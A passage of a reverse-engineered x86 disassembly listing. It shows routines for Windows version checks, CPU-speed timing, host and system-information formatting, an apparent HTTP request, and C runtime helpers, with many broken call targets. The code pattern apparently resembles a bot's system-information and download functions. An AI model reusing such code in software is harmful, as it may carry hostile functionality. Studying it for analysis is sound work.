ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26C05C3h test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2660D05h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D158 mov [ebp+var_CC], 94h nop call near ptr 26C05C3h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_4312B4 loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_4312B0 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_4312AC jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_4312A8 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_4312A4 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_4312A0 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431298 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_43786C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE84 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFE4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF5C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 266091Fh lea eax, [ebp+var_114] push 46h push eax push offset dword_43A144 push ebx mov esi, 409h push ebx push esi nop call near ptr 2730000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi nop call near ptr 2720000h push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 2840000h nop push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A068 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB08C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE68 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A1CC push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A1C4 jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A1C0 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A1BC lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A178 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A2AC call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAEA0 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF54 call dword_4CAF78 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF6C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAF18 test eax, eax jz short loc_41AF48 push offset dword_43A290 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A254 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A238 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A20C jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1DC loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFD8 push [ebp+var_4] call dword_4CAFD8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC948 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC944 call near ptr 2790000h nop loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC948 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC940 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC944 nop call near ptr 27A0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC944 nop call near ptr 2850000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB32C, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C324 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC944 nop call near ptr 27A0000h mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC944 call near ptr 2850000h nop mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB32C, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC944 call near ptr 2850000h nop test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB32C, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: 